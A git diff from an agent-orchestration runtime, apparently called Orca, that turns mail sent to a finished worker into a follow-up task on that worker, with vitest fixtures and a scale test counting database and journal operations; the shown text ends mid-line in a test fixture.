sendFederatedControlMail } from './send-control-mail' import { orchestrationCallerIdentity } from '../runs/run-scope' import { assertLifecycleCallerIsNotAnotherParty } from './lifecycle-caller-fence' +import { planWorkerFollowUp, startWorkerFollowUp } from './worker-follow-up' +import { + followThroughWorkerReport, + passHeldWorkerMail, + settledDispatchId +} from './settled-worker-follow-through' export const ORCHESTRATION_SEND_METHODS = [ defineMethod({ @@ -51,6 +57,7 @@ export const ORCHESTRATION_SEND_METHODS = [ replayedMutationReceipt, orchestrationCaller, orchestrationCompatibilityEvidence, + orchestrationMutation, signal } ) => { @@ -73,6 +80,7 @@ export const ORCHESTRATION_SEND_METHODS = [ for (const target of settled ? handBackReplayTargets(db, settled) : []) { runtime.notifyMessageArrived(target.to, target.type) } + followThroughWorkerReport(runtime, db, settled) return stripMutationReplayNudge(replayedMutationReceipt) } const from = params.from ?? 'unknown' @@ -189,7 +197,7 @@ export const ORCHESTRATION_SEND_METHODS = [ sendWarnings.length > 0 ? { ...receipt, warnings: sendWarnings } : receipt if (!isGroupAddress(to)) { - const addressedDispatchId = to.startsWith('dispatch:') + let addressedDispatchId = to.startsWith('dispatch:') ? to.slice('dispatch:'.length) : undefined const federatedTarget = @@ -198,6 +206,34 @@ export const ORCHESTRATION_SEND_METHODS = [ : undefined // Federated targets perform their own liveness check before relaying. if (addressedDispatchId && !federatedTarget) { + const plan = planWorkerFollowUp(db, addressedDispatchId, params.type ?? 'status') + // Only a settled worker awaits; mail to a working one stays synchronous until it is inserted. + const followUp = + plan?.kind === 'start' + ? await startWorkerFollowUp({ + ctx: { + runtime, + orchestrationCompatibilityEvidence, + orchestrationCaller, + orchestrationMutation + }, + db, + plan, + from, + message: params + }) + : plan + // A dispatch: address carries no recipient warnings, so `next` stays last. + if (followUp?.kind === 'started') { + if (typeof followUp.receipt.dispatchId === 'string') { + passHeldWorkerMail(runtime, db, followUp.receipt.dispatchId) + } + return followUp.receipt + } + if (followUp) { + addressedDispatchId = followUp.dispatchId + to = `dispatch:${addressedDispatchId}` + } assertDispatchMailboxDeliverable(runtime, db, addressedDispatchId) const runBound = resolveRunBoundDispatchRecipient( runtime, @@ -225,7 +261,7 @@ export const ORCHESTRATION_SEND_METHODS = [ if (federatedControl !== undefined) { return federatedControl } - return sendPointToPointMessage({ + const sent = sendPointToPointMessage({ params, runtime, db, @@ -244,6 +280,12 @@ export const ORCHESTRATION_SEND_METHODS = [ markWorkerDoneMutationEffectFree, withSendWarnings }) + followThroughWorkerReport( + runtime, + db, + params.type === 'worker_done' ? settledDispatchId(sent) : undefined + ) + return sent } return sendGroupMessage({ params, @@ -263,16 +305,3 @@ export const ORCHESTRATION_SEND_METHODS = [ } }) ] - -function settledDispatchId(receipt: unknown): string | undefined { - if (!receipt || typeof receipt !== 'object' || !('lifecycle' in receipt)) { - return undefined - } - const { lifecycle } = receipt - return lifecycle && - typeof lifecycle === 'object' && - 'dispatchId' in lifecycle && - typeof lifecycle.dispatchId === 'string' - ? lifecycle.dispatchId - : undefined -} diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts new file mode 100644 index 00000000000..4ce8339ebae --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts @@ -0,0 +1,259 @@ +import { parseOrcaSessionAddress } from '../../../../../../shared/orca-session-address' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + clearFollowUpMail, + markUnreadFollowUpMail, + restoreFollowUpMail, + FOLLOW_UP_MESSAGE_TYPES, + listDispatchesWithFollowUpMail +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import type { OrchestrationSessionCaller } from '../../../../orchestration/orchestration-caller-identity' +import { resolveOrcaSessionParty } from '../../../../orchestration/orchestration-party' +import { readStructuredAgentSessionRecord } from '../../../../structured-worker-authority' +import { createHash } from 'node:crypto' +import { escalateWorkerFailure } from '../../../../orchestration/worker-failure-escalation' +import { dispatchReportMailbox } from '../../../../orchestration/dispatch-report-mailbox' +import { + planWorkerFollowUp, + startWorkerFollowUp, + type WorkerFollowUpOutcome +} from './worker-follow-up' +import { captureReportedWorkerResumeSession } from '../worker/worker-resume-session-capture' +import { reportedWorkerOutcome } from '../worker/worker-start-receipt' + +/** After a report settles (or replays): save the worker's conversation, then continue mail it never read. */ +export function followThroughWorkerReport( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string | undefined +): void { + if (!dispatchId) { + return + } + captureReportedWorkerResumeSession(runtime, db, dispatchId) + continueUnreadWorkerMail(runtime, db, dispatchId) +} + +/** Mail the worker never read before it reported is not lost: it goes to the worker's newer Dispatch, + * or becomes one, as a send after the report would. Its report marked it, so a restart resumes this. */ +export function continueUnreadWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): void { + void continueUnreadMail(runtime, db, dispatchId).catch((error: unknown) => { + console.warn('[orchestration] unread worker mail was not continued', dispatchId, error) + }) +} + +async function continueUnreadMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): Promise { + const unread = db.getUnreadMessages(`dispatch:${dispatchId}`, [...FOLLOW_UP_MESSAGE_TYPES]) + const first = unread[0] + if (!first) { + clearFollowUpMail(db, dispatchId) + return + } + let outcome: WorkerFollowUpOutcome | undefined + try { + const plan = planWorkerFollowUp(db, dispatchId, first.type) + outcome = + plan?.kind === 'start' + ? await startWorkerFollowUp({ + ctx: { runtime, orchestrationCaller: senderSession(db, first.from_handle) }, + db, + plan, + from: first.from_handle, + message: { + subject: + unread.length === 1 + ? first.subject + : `${first.subject} (+${unread.length - 1} more)`, + body: + unread.length === 1 + ? first.body || first.subject + : unread + .map((message) => `${message.subject}\n${message.body}`.trim()) + .join('\n\n') + }, + consumesMessageIds: unread.map((message) => message.id) + }) + : plan + } catch (error) { + // The mail stays unread and marked, so the next start, report replay or send retries it. + noticeUnreadMailNotContinued( + runtime, + db, + dispatchId, + error instanceof Error ? error.message : String(error) + ) + return + } + const startedId = outcome?.kind === 'started' ? outcome.receipt.dispatchId : undefined + const followUpId = outcome?.kind === 'steer' ? outcome.dispatchId : startedId + if (typeof followUpId !== 'string') { + return + } + if (outcome?.kind === 'started' && custodyOf(db, followUpId) === 'failed') { + // What it took goes back with the rest of the worker's held mail. + restoreFollowUpMail( + db, + unread.map((message) => message.id) + ) + // A report replayed while it started may have cleared the marker the restored mail needs. + markUnreadFollowUpMail(db, dispatchId) + } + passHeldWorkerMail(runtime, db, followUpId) +} + +/** Whether a follow-up took over its worker: ready or already reported, failed, or still starting. */ +function custodyOf( + db: OrchestrationDb, + dispatchId: string +): 'ready' | 'reported' | 'starting' | 'failed' { + const worker = db.getWorkerDispatch(dispatchId) + if (reportedWorkerOutcome(worker)) { + return 'reported' + } + return worker?.state === 'ready' || worker?.state === 'starting' ? worker.state : 'failed' +} + +/** Mail held anywhere in a worker's lineage follows its newest follow-up: delivered once that one is ready or + * has reported, kept unread on it with one notice when its start failed (so the next send takes it). */ +export function passHeldWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + followUpId: string +): void { + const custody = custodyOf(db, followUpId) + if (custody === 'starting') { + return + } + const worker = db.getWorkerDispatch(followUpId) + const seen = new Set([followUpId]) + let source = db.getDispatchContextById(followUpId)?.follow_up_of_dispatch_id + for ( + ; + source && !seen.has(source); + source = db.getDispatchContextById(source)?.follow_up_of_dispatch_id + ) { + seen.add(source) + const first = db.getDispatchContextById(source)?.follow_up_mail_at + ? db.getUnreadMessages(`dispatch:${source}`, [...FOLLOW_UP_MESSAGE_TYPES])[0] + : undefined + if (first) { + if (custody === 'failed') { + const reason = worker?.last_error ?? worker?.state ?? 'unknown' + noticeUnreadMailNotContinued(runtime, db, source, reason) + } + let page + do { + page = db.routeUnreadDirectMessagesToDispatchMailbox( + followUpId, + first.run_id, + `dispatch:${source}` + ) + for (const type of custody === 'failed' ? [] : page.types) { + runtime.notifyMessageArrived(`dispatch:${followUpId}`, type) + } + } while (page.hasMore) + } + clearFollowUpMail(db, source) + } + if (custody !== 'ready') { + // A follow-up that already finished holds this mail as any finished worker does. + markUnreadFollowUpMail(db, followUpId) + } + if (custody === 'reported') { + continueUnreadWorkerMail(runtime, db, followUpId) + } +} + +/** Nothing is lost silently: the coordinator hears that its mail did not reach the worker, once per batch. */ +function noticeUnreadMailNotContinued( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string, + reason: string +): void { + const dispatch = db.getDispatchContextById(dispatchId) + if (!dispatch) { + return + } + escalateWorkerFailure( + db, + dispatch, + { + id: `msg_followup_${createHash('sha256') + .update(JSON.stringify([dispatchId, dispatch.follow_up_mail_at])) + .digest('hex') + .slice(0, 24)}`, + from: `dispatch:${dispatchId}`, + mailbox: () => dispatchReportMailbox(db, dispatch), + describe: (task) => ({ + subject: 'Mail did not reach the finished worker', + body: `Orca could not continue the worker of ${task} with the mail it had not read before reporting: ${reason}. The mail is kept; send to dispatch:${dispatchId} again to retry.` + }), + payload: { dispatchId, reason } + }, + (handle, type) => runtime.notifyMessageArrived(handle, type) + ) +} + +/** The Dispatch a worker_done receipt settled. */ +export function settledDispatchId(receipt: unknown): string | undefined { + if (!receipt || typeof receipt !== 'object' || !('lifecycle' in receipt)) { + return undefined + } + const { lifecycle } = receipt + return lifecycle && + typeof lifecycle === 'object' && + 'dispatchId' in lifecycle && + typeof lifecycle.dispatchId === 'string' + ? lifecycle.dispatchId + : undefined +} + +/** After the open returns, so continuing a worker can use the database it is opening. */ +export function continueRestoredWorkerMailSoon( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + isCurrent: () => boolean +): void { + setTimeout(() => { + if (isCurrent()) { + continueAllUnreadWorkerMail(runtime, db) + } + }, 0).unref?.() +} + +/** At startup: continue what a restart interrupted between a report and its follow-up. */ +export function continueAllUnreadWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb +): void { + try { + for (const dispatchId of listDispatchesWithFollowUpMail(db)) { + continueUnreadWorkerMail(runtime, db, dispatchId) + } + } catch (error) { + // A database closed before this ran (shutdown, tests) has nothing left to continue. + console.warn('[orchestration] restored worker mail was not scanned', error) + } +} + +function senderSession(db: OrchestrationDb, from: string): OrchestrationSessionCaller | undefined { + const sessionId = parseOrcaSessionAddress(from) + const record = sessionId ? readStructuredAgentSessionRecord(sessionId) : null + return sessionId && record + ? { + ...resolveOrcaSessionParty(sessionId, db), + sessionId, + workspaceId: record.location.workspaceId + } + : undefined +} diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts b/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts new file mode 100644 index 00000000000..3218a73c4b4 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts @@ -0,0 +1,146 @@ +/** A message to a worker that finished becomes its next Task: worker-start run for the sender, on that same worker. + * Open workers take it in place, closed ones reopen in their saved conversation, and agents that keep none start fresh. */ + +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + carryWorkerResumeSession, + FOLLOW_UP_MESSAGE_TYPES, + resolveWorkerLineage +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { DispatchContextRow, MessageType } from '../../../../orchestration/types' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import type { RpcContext } from '../../../core' +import { startWorker } from '../worker/workers' +import { chooseWorkerFollowUpPlacement } from '../worker/worker-follow-up-choice' + +const ACTIVE_STATUSES: readonly string[] = ['pending', 'dispatched'] + +export type WorkerFollowUpPlan = + | { kind: 'steer'; dispatchId: string } + | { kind: 'start'; latest: DispatchContextRow; resource: WorkerTerminalResourceRow | undefined } + +export type WorkerFollowUpOutcome = + | { kind: 'steer'; dispatchId: string } + | { kind: 'started'; receipt: Record } + +export type FollowUpContext = Pick< + RpcContext, + 'runtime' | 'orchestrationCompatibilityEvidence' | 'orchestrationCaller' | 'orchestrationMutation' +> + +/** Synchronous, so a send to a working worker is admitted as mail before anything can settle it. + * Undefined: the mail path decides (a working worker, lifecycle types, paired servers, no worker-start). */ +export function planWorkerFollowUp( + db: OrchestrationDb, + dispatchId: string, + type: MessageType +): WorkerFollowUpPlan | undefined { + const addressed = db.getDispatchContextById(dispatchId) + // A working worker reads its mail; only a settled Dispatch can have been continued. + const lineage = + addressed && !ACTIVE_STATUSES.includes(addressed.status) + ? resolveWorkerLineage(db, addressed.id) + : undefined + if (!lineage) { + return undefined + } + const { latest, resource } = lineage + if (ACTIVE_STATUSES.includes(latest.status)) { + return { kind: 'steer', dispatchId: latest.id } + } + if ( + !FOLLOW_UP_MESSAGE_TYPES.some((followUpType) => followUpType === type) || + db.getFederatedDispatch(latest.id) || + !db.getWorkerDispatch(resource?.origin_dispatch_id ?? latest.id) + ) { + return latest.id === dispatchId ? undefined : { kind: 'steer', dispatchId: latest.id } + } + return { kind: 'start', latest, resource } +} + +export async function startWorkerFollowUp(args: { + ctx: FollowUpContext + db: OrchestrationDb + plan: Extract + from: string + message: { subject: string; body?: string | undefined } + /** Unread mail this follow-up carries, read in the same claim. */ + consumesMessageIds?: readonly string[] +}): Promise { + const { ctx, db } = args + const { latest, resource } = args.plan + const { subject, body } = args.message + const placement = await chooseWorkerFollowUpPlacement(ctx.runtime, db, latest, resource) + const { reopen } = placement + let freshInstead = false + const spec = [ + body || subject, + placement.delivery === 'started_fresh' ? placement.earlierWork : undefined + ] + .filter(Boolean) + .join('\n\n') + let receipt: unknown + try { + receipt = await startWorker( + { + from: args.from, + run: latest.run_id, + spec, + taskTitle: subject, + worktree: `id:${placement.worktreeId}`, + ...(placement.terminal ? { terminal: placement.terminal } : {}), + ...(placement.agent ? { agent: placement.agent } : {}), + ...(placement.model ? { model: placement.model } : {}), + ...(placement.effort ? { effort: placement.effort } : {}) + }, + // The send's own receipt is already pending; the follow-up only names what it accepted. + { ...ctx, orchestrationMutation: undefined }, + { + of: latest.id, + ...(ctx.orchestrationMutation ? { acceptedBy: ctx.orchestrationMutation } : {}), + ...(args.consumesMessageIds ? { consumesMessageIds: args.consumesMessageIds } : {}), + ...(placement.earlierWork ? { earlierWork: placement.earlierWork } : {}), + ...(reopen + ? { + reopen: async (dispatchId: string) => { + const reopened = await reopen(dispatchId) + freshInstead = reopened === null + return reopened + } + } + : {}) + } + ) + } catch (error) { + // A racing send claimed this worker first; this message steers that follow-up. + if (error instanceof OrchestrationError && error.code === 'follow_up_claimed') { + return { kind: 'steer', dispatchId: readClaimedDispatchId(error) ?? latest.id } + } + throw error + } + const started = { + ...(receipt && typeof receipt === 'object' ? receipt : {}), + delivery: freshInstead ? 'started_fresh' : placement.delivery, + followUpOf: latest.id + } + if ( + resource && + 'dispatchId' in started && + typeof started.dispatchId === 'string' && + reopen && + !freshInstead + ) { + carryWorkerResumeSession(db, started.dispatchId, resource) + } + return { kind: 'started', receipt: started } +} + +function readClaimedDispatchId(error: OrchestrationError): string | undefined { + const data = error.data + const id = + typeof data === 'object' && data !== null && 'followUpDispatchId' in data + ? data.followUpDispatchId + : undefined + return typeof id === 'string' ? id : undefined +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts new file mode 100644 index 00000000000..ee235da2f3c --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-contract-test-fixture.ts @@ -0,0 +1,30 @@ +import { afterEach, vi } from 'vitest' +import { createOrchestrationRpcHarness } from './rpc-test-harness' +import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import type { QueuedMessageTestRig } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { testOrcaSessionId } from '../../../../../shared/orca-session-address-test-fixture' + +export const h = createOrchestrationRpcHarness() + +export const COORD = testOrcaSessionId('start-card-caller') + +export const WORKER = testOrcaSessionId('start-card-worker') + +let rig: QueuedMessageTestRig | undefined + +afterEach(async () => { + setStructuredAgentSessionHost(null) + await rig?.dispose() + rig = undefined + h.cleanup() + vi.restoreAllMocks() +}) + +export const fixture = { + get rig() { + return rig + }, + set rig(value: typeof rig) { + rig = value + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts new file mode 100644 index 00000000000..5a36e37ddfb --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-operations.test.ts @@ -0,0 +1,307 @@ +import { + expectWorkerStartPopulation, + expectWorkerStartSourcePlans +} from './worker-start-card-population.test-fixture' +import { expect, it, vi } from 'vitest' +import { partialRuntimeStore } from '../../../runtime-store-partial-fixture' +import { resolveOrchestrationSessionCaller } from '../../orchestration-session-caller' +import { setStructuredAgentSessionHost } from '../../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + createQueuedMessageTestRig, + eventually +} from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../shared/agent-session-journal-types' +import { openTestJournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' +import { StructuredAgentSessionJournalProjections } from '../../../../native-chat/agent-session-wire/structured-agent-session-status-journal-projection' +import { installSqlVisitCounters } from '../../../dispatch-predicate-visits.test-fixture' +import { createMinimalPersistedTerminalTab } from '../../../../persistence/restoring-sessions/session-owner-fields' +import { getDefaultWorkspaceSession } from '../../../../../shared/constants' +import { prepareWorkerStartCard } from '../../../orchestration/worker-start-card' +import * as journalSchema from '../../../../native-chat/agent-session-journal/journal-row-schema' + +import { fixture, COORD, h } from './worker-start-card-contract-test-fixture' + +it.each([10, 100])( + 'counts populated producer source and journal operations for %i starts and duplicate publications', + async (count) => { + fixture.rig = await createQueuedMessageTestRig({ sessionId: COORD, legacyInputs: true }) + const current = fixture.rig + setStructuredAgentSessionHost(current.host) + const session = getDefaultWorkspaceSession() + const { runtime, db } = h.setup( + false, + partialRuntimeStore({ + getSettings: () => ({ agentDefaultSurface: 'terminal' }), + getWorkspaceSession: () => session + }) + ) + vi.spyOn(runtime, 'ensureStructuredAgentSessionHost').mockResolvedValue() + const run = db.createRun({ + objective: 'scale', + coordinatorHandle: null, + coordinatorPaneKey: null + }) + const tabs: ReturnType[] = [] + const facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] = [] + for (let index = 0; index < 10 * count; index++) { + const handle = `term_scale_${index}` + const tabId = `scale-tab-${index}` + const leafId = `11111111-1111-4111-8111-${String(index).padStart(12, '0')}` + tabs.push( + createMinimalPersistedTerminalTab({ + worktreeId: 'workspace-1', + tabId, + ptyId: `pty-${index}`, + existingTabCount: index + }) + ) + runtime.handles.set(handle, { + handle, + runtimeId: runtime.getRuntimeId(), + rendererGraphEpoch: 1, + worktreeId: 'workspace-1', + tabId, + leafId, + ptyId: null, + ptyGeneration: 0, + issuedForPaneKey: `${tabId}:${leafId}` + }) + const task = db.createTask({ + runId: run.id, + spec: `Task ${index}`, + displayName: `Scale worker ${index}` + }) + const { dispatch } = db.createStartingWorkerDispatch({ + creator: { kind: 'system' }, + maxDepth: Number.MAX_SAFE_INTEGER, + taskId: task.id, + startOptions: {} + }) + db.prepareStartingWorkerAuthority({ + dispatchId: dispatch.id, + handle, + paneKey: `${tabId}:${leafId}`, + processIncarnation: `scale:${index}`, + worktreeId: 'workspace-1', + effects: [], + setupState: 'not_applicable' + }) + db.markWorkerDispatchReady(dispatch.id) + if (index >= 9 * count) { + facts.push({ + dispatchId: dispatch.id, + workerAddress: handle, + task: task.spec, + name: `Scale worker ${index}` + }) + } + } + let tabVisits = 0 + tabs.forEach((tab, index) => { + Object.defineProperty(tabs, index, { + get() { + tabVisits++ + return tab + } + }) + }) + session.tabsByWorktree['workspace-1'] = tabs + vi.mocked(runtime.getTerminalPaneKey).mockImplementation( + (handle) => runtime.handles.get(handle)?.issuedForPaneKey ?? null + ) + const journal = current.host.collaboratorsForTests().sessions.get(COORD)!.journal + for (let index = 0; index < 9 * count; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `history-${index}` }, + { + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: `History ${index}` }] + }, + { + fence: current.store.getConversation(COORD)!.currentFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + } + const admitted = await resolveOrchestrationSessionCaller( + runtime, + { + id: 'scale', + authToken: 'test-token', + method: 'orchestration.workerStart', + params: { spec: 'Task' }, + orchestrationCompatibilityEvidence: { agentSessionId: COORD } + }, + undefined + ) + let dispatchVisits = 0 + let taskVisits = 0 + installSqlVisitCounters({ + start_dispatch_visit: () => { + dispatchVisits++ + return 1 + }, + start_task_visit: () => { + taskVisits++ + return 1 + } + }) + const prepareSource = db.db.prepare.bind(db.db) + const sourceQueries = vi + .spyOn(db.db, 'prepare') + .mockImplementation((query) => + prepareSource( + query + .replace( + 'WHERE assignee_handle = ?', + 'WHERE assignee_handle = ? AND start_dispatch_visit(rowid)' + ) + .replace( + 'FROM tasks WHERE id = ?', + 'FROM tasks WHERE id = ? AND start_task_visit(rowid)' + ) + ) + ) + const connection = openTestJournalHostDatabase(current.root).db + const epochReads = vi.spyOn( + connection.prepare('SELECT epoch FROM journal_sessions WHERE session_id = ?'), + 'get' + ) + const inserts = vi.spyOn( + connection.prepare( + 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' + ), + 'run' + ) + const journalQueries = vi.spyOn(connection, 'prepare') + const serialized = vi.spyOn(journalSchema, 'serializeJournalRow') + const activeSource = vi.spyOn(db, 'getActiveDispatchForTerminal') + const recordedSource = vi.spyOn(db, 'getDispatchContextById') + const sender = vi.spyOn(runtime.orchestrationSenderNames, 'sender') + const names = vi.spyOn(runtime.orchestrationSenderNames, 'nameOf') + const dedupe = vi.spyOn(journal, 'hasRecordedItem') + const scan = vi.spyOn(journal, 'visitItemsWithLinkage') + const projection = StructuredAgentSessionJournalProjections.prototype + const readProjection = projection.read + let projecting = false + vi.spyOn(projection, 'read').mockImplementation(function ( + this: StructuredAgentSessionJournalProjections, + ...args + ) { + const previous = projecting + projecting = true + try { + return readProjection.apply(this, args) + } finally { + projecting = previous + } + }) + const snapshotSources: string[] = [] + const readSnapshot = journal.snapshot.bind(journal) + const snapshot = vi.spyOn(journal, 'snapshot').mockImplementation(() => { + snapshotSources.push(projecting ? 'status-projection' : 'other') + return readSnapshot() + }) + const append = vi.spyOn(current.host, 'appendAgentStart') + const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}) + const before = journal.snapshot() + snapshot.mockClear() + const fail = prepareWorkerStartCard(runtime, admitted.caller) + expect(epochReads).toHaveBeenCalledTimes(1) + inserts.mockImplementationOnce(() => { + throw new Error('fixture insert failed') + }) + fail(facts[0]) + await eventually(() => expect(append).toHaveBeenCalledTimes(1)) + await Promise.allSettled(append.mock.results.map((result) => result.value)) + await eventually(() => + expect(warn).toHaveBeenCalledWith( + '[orchestration] recording a started worker in its caller chat failed', + expect.any(Error) + ) + ) + expect(epochReads).toHaveBeenCalledTimes(4) + expect(serialized).toHaveBeenCalledTimes(1) + expect(inserts).toHaveBeenCalledTimes(1) + expect(sourceQueries).toHaveBeenCalledTimes(2) + expect(dispatchVisits).toBe(1) + expect(taskVisits).toBe(1) + expect(tabVisits).toBe(9 * count + 1) + expect(journal.snapshot()).toEqual(before) + expect( + connection + .prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?') + .get(COORD)?.count + ).toBe(before.cursor.sequence) + for (const counter of [ + epochReads, + serialized, + inserts, + sourceQueries, + journalQueries, + activeSource, + recordedSource, + sender, + names, + dedupe, + scan, + snapshot, + append, + warn + ]) { + counter.mockClear() + } + snapshotSources.length = 0 + tabVisits = dispatchVisits = taskVisits = 0 + const publishers = facts.map(() => prepareWorkerStartCard(runtime, admitted.caller)) + expect(epochReads).toHaveBeenCalledTimes(count) + facts.forEach((fact, index) => publishers[index](fact)) + await eventually(() => expect(append).toHaveBeenCalledTimes(count)) + await Promise.all(append.mock.results.map((result) => result.value)) + expect(epochReads).toHaveBeenCalledTimes(4 * count) + expect(serialized).toHaveBeenCalledTimes(count) + expect(inserts).toHaveBeenCalledTimes(count) + expect(snapshotSources).toEqual(['status-projection']) + // Duplicate callbacks still name the sender but must stop before row serialization/insertion. + facts.forEach((fact, index) => publishers[index](fact)) + await eventually(() => expect(append).toHaveBeenCalledTimes(2 * count)) + await Promise.all(append.mock.results.map((result) => result.value)) + expect(epochReads).toHaveBeenCalledTimes(6 * count) + expect(serialized).toHaveBeenCalledTimes(count) + expect(inserts).toHaveBeenCalledTimes(count) + expect(sender).toHaveBeenCalledTimes(2 * count) + expect(names).toHaveBeenCalledTimes(2 * count) + expect(activeSource).toHaveBeenCalledTimes(2 * count) + expect(recordedSource).not.toHaveBeenCalled() + expect(sourceQueries).toHaveBeenCalledTimes(4 * count) + expect(dispatchVisits).toBe(2 * count) + expect(taskVisits).toBe(2 * count) + const visitsPerPass = facts.reduce((sum, _fact, index) => sum + 9 * count + index + 1, 0) + expect(tabVisits).toBe(2 * visitsPerPass) + expect(tabVisits).toBeLessThanOrEqual(2 * count * tabs.length) + expect(dedupe).toHaveBeenCalledTimes(2 * count) + expect(scan).not.toHaveBeenCalled() + expect(snapshot).toHaveBeenCalledTimes(1) + expect(snapshotSources).toEqual(['status-projection']) + expect( + journalQueries.mock.calls.filter( + ([query]) => /FROM journal_rows/.test(query) && !/seq = 1/.test(query) + ) + ).toEqual([]) + expect(warn).not.toHaveBeenCalled() + expectWorkerStartSourcePlans(sourceQueries.mock.calls, prepareSource) + expectWorkerStartPopulation({ journal, facts, count, connection, before }) + console.info('start population/operations', { + count, + sourceRecords: 10 * count, + history: 9 * count, + epochReads: epochReads.mock.calls.length, + serializedRows: serialized.mock.calls.length, + inserts: inserts.mock.calls.length, + dispatchVisits, + taskVisits, + tabVisits + }) + } +) diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts new file mode 100644 index 00000000000..cf9aacd19ec --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-population.test-fixture.ts @@ -0,0 +1,52 @@ +import type { createOrchestrationRpcHarness } from './rpc-test-harness' +import { expect } from 'vitest' +import type { AgentJournalSnapshot } from '../../../../../shared/agent-session-journal-types' +import type { AgentSessionJournal } from '../../../../native-chat/agent-session-journal/journal-store' +import type { JournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database' +import { COORD } from './worker-start-card-contract-test-fixture' + +export function expectWorkerStartPopulation(input: { + journal: AgentSessionJournal + count: number + connection: JournalHostDatabase['db'] + facts: { dispatchId: string; workerAddress: string; task: string; name: string }[] + before: AgentJournalSnapshot +}): void { + const { journal, facts, count, connection, before } = input + const cards = journal.snapshot().items.filter(({ body }) => body.kind === 'agent-start') + expect(cards.map(({ body }) => body)).toEqual( + facts.map((fact) => ({ + kind: 'agent-start', + dispatchId: fact.dispatchId, + task: fact.task, + worker: { + party: { + address: fact.workerAddress, + terminalHandle: fact.workerAddress, + orcaSessionId: null + }, + name: fact.name + } + })) + ) + expect( + connection.prepare('SELECT COUNT(*) AS count FROM journal_rows WHERE session_id = ?').get(COORD) + ?.count + ).toBe(before.cursor.sequence + count) +} + +export function expectWorkerStartSourcePlans( + queries: readonly (readonly [string])[], + prepareSource: ReturnType< + ReturnType['setup'] + >['db']['db']['prepare'] +): void { + for (const [query] of queries.slice(0, 2)) { + const plan = prepareSource(`EXPLAIN QUERY PLAN ${query}`) + .all('unused') + .map((row) => row.detail) + .join(' | ') + expect(plan).toMatch(/SEARCH (?:dispatch_contexts|tasks)/) + expect(plan).not.toMatch(/SCAN/) + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts b/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts new file mode 100644 index 00000000000..8b4767ee877 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker-start-card-scenario.test-fixture.ts @@ -0,0 +1,164 @@ +import { expect, type MockInstance } from 'vitest' +import type { AgentJournalSnapshot } from '../../../../../shared/agent-session-journal-types' +import type { createOrchestrationRpcHarness } from './rpc-test-harness' +import type { QueuedMessageTestRig } from '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { closeTestJournalHostDatabase } from '../../../../native-chat/agent-session-journal/journal-host-database-test-support' +import { projectStructuredAgentStartItem } from '../../../../../shared/structured-agent-start-projection' +import { projectStructuredAgentSessionStatusSummary } from '../../../../../shared/structured-agent-session-projection' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../../shared/agent-session-journal-types' +import { readFile } from 'node:fs/promises' +import '../../../../native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture' +import { COORD } from './worker-start-card-contract-test-fixture' + +export async function verifyWorkerStartCardScenario(input: { + current: QueuedMessageTestRig + scenario: string + before: AgentJournalSnapshot + task: string + federated: boolean + db: ReturnType['setup']>['db'] + append: MockInstance +}): Promise { + const { current, scenario, before, task, federated, db, append } = input + const snapshot = await current.host.journalSnapshot(COORD) + const cards = snapshot.items.filter((item) => item.body.kind === 'agent-start') + if (scenario !== 'success' && scenario !== 'federated') { + expect(cards).toHaveLength(0) + return + } + expect(cards).toHaveLength(1) + const [card] = cards + expect(snapshot.items.map(({ 